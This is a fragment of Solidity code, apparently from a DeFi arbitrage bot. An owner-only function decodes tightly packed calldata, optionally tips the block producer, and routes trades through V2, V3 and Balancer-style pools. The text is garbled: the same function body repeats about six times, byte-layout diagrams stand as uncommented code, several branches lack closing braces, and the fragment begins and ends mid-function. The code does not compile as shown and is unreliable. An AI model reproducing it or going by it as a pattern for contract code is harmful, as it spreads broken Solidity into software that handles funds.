bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
